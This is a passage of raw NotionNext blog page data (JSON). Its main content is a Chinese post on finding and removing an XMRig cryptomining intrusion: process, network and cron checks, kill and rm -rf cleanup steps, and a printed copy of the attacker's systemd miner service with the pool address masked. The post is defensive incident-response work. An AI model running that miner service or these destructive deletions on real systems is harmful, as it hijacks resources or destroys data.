把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":"","blockMap":{"block":{"7e13a286-a275-4f48-b9d0-416c9b1368ce":{"value":{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","version":324,"type":"page","content":["ada1daa9-9ec1-4546-9254-ddf3e5ad8162","861b8d3c-c4f1-4ece-a760-e9d0eddd8e90","d666b229-4f44-4e54-9332-9bea24a143f4","25a26dc5-65f8-4e1f-85c6-c3d3c9958af5","660f94c6-0c58-4e6e-8ae0-d92e0bc1f5dd","a79c184e-b4b1-40be-9b0c-8ac739647018","e296a959-a78b-4075-96e9-8513be10984a","557aa532-93be-450a-a95a-57fe1fbef80c","7a0d9210-16b0-47f6-9109-cbe8dacd1197","513bf277-14f2-40df-9fe5-5d5e66266ad1","f1b00174-0fc2-4c92-aa89-1240ab7a2880","f61d0519-01a1-478e-80c7-35c9118bc24d","a3b1ea8c-90a3-4b28-9cf6-fb8f2bb9bdbc","dfa778c0-22eb-460f-91da-4c9e89100d07","8706dcce-a26a-4928-a907-a8d5f6dbad7e","b51cfb34-025c-4e9b-a604-99d4b02e9fc5","cf3a69ec-dc8f-4808-8034-89fe5bd29d14","0e833496-a19a-41a7-b6a0-78d848bf1754","723a182a-626b-4c3a-a918-e190ff211798","1ee5667c-9025-478c-9b94-0303a98f4067","af73c0b0-fefa-4be8-908d-9f53434e90f1","26d7cf25-e010-42fc-a17a-f41bf5810199","6ad39ada-a5ba-4717-b358-d1d013de7f01","6da1726b-3b01-4477-9f83-9c21240b1f03","c5b1e0c0-edb3-45bc-90d2-5fc97aadef92","ac2e2b33-c939-4e51-b645-a75d92cefce2","bf3c5b4c-2a2e-4940-8141-00e72adb8cd3","9213b777-2c2f-4959-89fe-83076a290465","1f2fa689-6444-408e-8982-d97876cbaca9","8a913cee-ee89-46cd-a83e-a3f02655f038"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1710853767745,"last_edited_time":1710868542884,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"ada1daa9-9ec1-4546-9254-ddf3e5ad8162":{"value":{"id":"ada1daa9-9ec1-4546-9254-ddf3e5ad8162","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"861b8d3c-c4f1-4ece-a760-e9d0eddd8e90":{"value":{"id":"861b8d3c-c4f1-4ece-a760-e9d0eddd8e90","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"d666b229-4f44-4e54-9332-9bea24a143f4":{"value":{"id":"d666b229-4f44-4e54-9332-9bea24a143f4","type":"callout","properties":{"title":[["叮咚!阿里云提示你,你的服务器正在被攻击!"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710853886689,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"25a26dc5-65f8-4e1f-85c6-c3d3c9958af5":{"value":{"id":"25a26dc5-65f8-4e1f-85c6-c3d3c9958af5","type":"header","properties":{"title":[["问题"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"660f94c6-0c58-4e6e-8ae0-d92e0bc1f5dd":{"value":{"id":"660f94c6-0c58-4e6e-8ae0-d92e0bc1f5dd","type":"image","properties":{"size":[["287.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/5a5eece4-6451-458c-bdb3-642896fe44e8/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/5a5eece4-6451-458c-bdb3-642896fe44e8/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5418118466898955,"block_preserve_scale":true},"created_time":1710853947661,"last_edited_time":1710853954162,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["5a5eece4-6451-458c-bdb3-642896fe44e8"]}},"a79c184e-b4b1-40be-9b0c-8ac739647018":{"value":{"id":"a79c184e-b4b1-40be-9b0c-8ac739647018","type":"header","properties":{"title":[["排查思路"]]},"format":{"copied_from_pointer":{"id":"10f81046-c412-4a78-b051-1cec7d572d9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710853984146,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"10f81046-c412-4a78-b051-1cec7d572d9c"}},"e296a959-a78b-4075-96e9-8513be10984a":{"value":{"id":"e296a959-a78b-4075-96e9-8513be10984a","type":"code","properties":{"title":[["#上去服务器先看看这个文件\nps aux | grep xmrig"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710853998397,"last_edited_time":1710854047375,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"557aa532-93be-450a-a95a-57fe1fbef80c":{"value":{"id":"557aa532-93be-450a-a95a-57fe1fbef80c","type":"image","properties":{"size":[["87.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0c1d2d17-20c1-4e26-97f8-697d634eefda/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/0c1d2d17-20c1-4e26-97f8-697d634eefda/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.07175660160734787,"block_preserve_scale":true},"created_time":1710854095533,"last_edited_time":1710854100787,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["0c1d2d17-20c1-4e26-97f8-697d634eefda"]}},"7a0d9210-16b0-47f6-9109-cbe8dacd1197":{"value":{"id":"7a0d9210-16b0-47f6-9109-cbe8dacd1197","type":"code","properties":{"title":[["#排查下pid关联的文件 -> 没啥收获\nll /proc/{pid}/fd \n#查看网络链接,记住关键ip\nnetstat -tunap | grep {pid}\n#kill再说\nkill -9 {pid}\n#然后全局查找文件(这里要记住文件大概什么时候创建的)\nfind / -name xmrig\n#rm -rf xmrig相关\nrm -rf {xxxx}\n#检查下定时任务,该取消就取消\ncrontab -l\n#再检查下xmrig相关后台程序 -> 我这里使用xmrig关键字没搜到\nsystemctl list-units --type=service  | grep xmrig"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710854103480,"last_edited_time":1710854623530,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"513bf277-14f2-40df-9fe5-5d5e66266ad1":{"value":{"id":"513bf277-14f2-40df-9fe5-5d5e66266ad1","type":"text","properties":{"title":[["不出意外的话,5分钟后xmrig又被拉起来了,现在我们知道他有守护程序了。"]]},"created_time":1710854163131,"last_edited_time":1710854425767,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"f1b00174-0fc2-4c92-aa89-1240ab7a2880":{"value":{"id":"f1b00174-0fc2-4c92-aa89-1240ab7a2880","type":"code","properties":{"title":[["#查询服务器网络链接,看起来可疑ip记录下pid\nnetstat -tunap \n#看看所有的程序\nps aux\n#以上两个步骤我基本确定下面这个pid很可疑,在看下文件创建时间,与xmrig创建时间一致\n/opt/sysetmd 9x25 481.x1.x1.4x\n#依然看看关联文件->没收获\nll /proc/{pid}/fd \n#再kill掉\nkill -9 {pid}\n#删除文件sysetmd相关\nrm -rf {xxxx}\n#再去找自启动服务 这个确实找到了\nsystemctl list-units --type=service  | grep sysetmd"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710854428765,"last_edited_time":1710855194033,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"f61d0519-01a1-478e-80c7-35c9118bc24d":{"value":{"id":"f61d0519-01a1-478e-80c7-35c9118bc24d","type":"image","properties":{"size":[["120.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3f5c325a-22bb-4012-a104-25e90a12e09a/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3f5c325a-22bb-4012-a104-25e90a12e09a/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.31000654022236757,"block_preserve_scale":true},"created_time":1710855117718,"last_edited_time":1710855123273,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["3f5c325a-22bb-4012-a104-25e90a12e09a"]}},"a3b1ea8c-90a3-4b28-9cf6-fb8f2bb9bdbc":{"value":{"id":"a3b1ea8c-90a3-4b28-9cf6-fb8f2bb9bdbc","type":"code","properties":{"title":[["#直接给他停掉\nsystemctl stop  sysetmd.service\nsystemctl disable sysetmd.service\nrm -f /etc/systemd/system/sysetmd.service"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855127688,"last_edited_time":1710855176774,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"dfa778c0-22eb-460f-91da-4c9e89100d07":{"value":{"id":"dfa778c0-22eb-460f-91da-4c9e89100d07","type":"text","properties":{"title":[["额外收获,发现/etc/systemd/system下有个自启动的service名字和创建时间很可疑"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710855204178,"last_edited_time":1710855315886,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"8706dcce-a26a-4928-a907-a8d5f6dbad7e":{"value":{"id":"8706dcce-a26a-4928-a907-a8d5f6dbad7e","type":"image","properties":{"size":[["377.0KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6695402298850575,"block_preserve_scale":true},"created_time":1710855297999,"last_edited_time":1710855302836,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca"]}},"b51cfb34-025c-4e9b-a604-99d4b02e9fc5":{"value":{"id":"b51cfb34-025c-4e9b-a604-99d4b02e9fc5","type":"code","properties":{"title":[["#cat查看下\ncat monero.service\n\n#文件内容如下,发现xmrig就是这个拉起来的\n[Unit]\nDescription=Monero miner service node\n\n[Service]\nExecStart=/root/xmrig-6.21.1/xmrig --donate-level 1 -o xxxxxxx\nRestart=always\n\n[Install]\n\n#直接给他停掉\nsystemctl stop  monero.service\nsystemctl disable monero.service\nrm /etc/systemd/system/monero.service\n\n#然后持续观察以下内容\nps aux \ntop -c\nnetstat -tunap "]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855321955,"last_edited_time":1710855493722,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"cf3a69ec-dc8f-4808-8034-89fe5bd29d14":{"value":{"id":"cf3a69ec-dc8f-4808-8034-89fe5bd29d14","type":"text","properties":{"title":[["最后防止还有其他守护程序被拉起来,再看看对应时间点有哪些文件增加"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710855310476,"last_edited_time":1710855543002,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"0e833496-a19a-41a7-b6a0-78d848bf1754":{"value":{"id":"0e833496-a19a-41a7-b6a0-78d848bf1754","type":"code","properties":{"title":[["#查找某个时间段的文件\n#忽略/proc文件夹\nfind / -type d \\( -path /proc -o -path /var/lib/docker -o -path 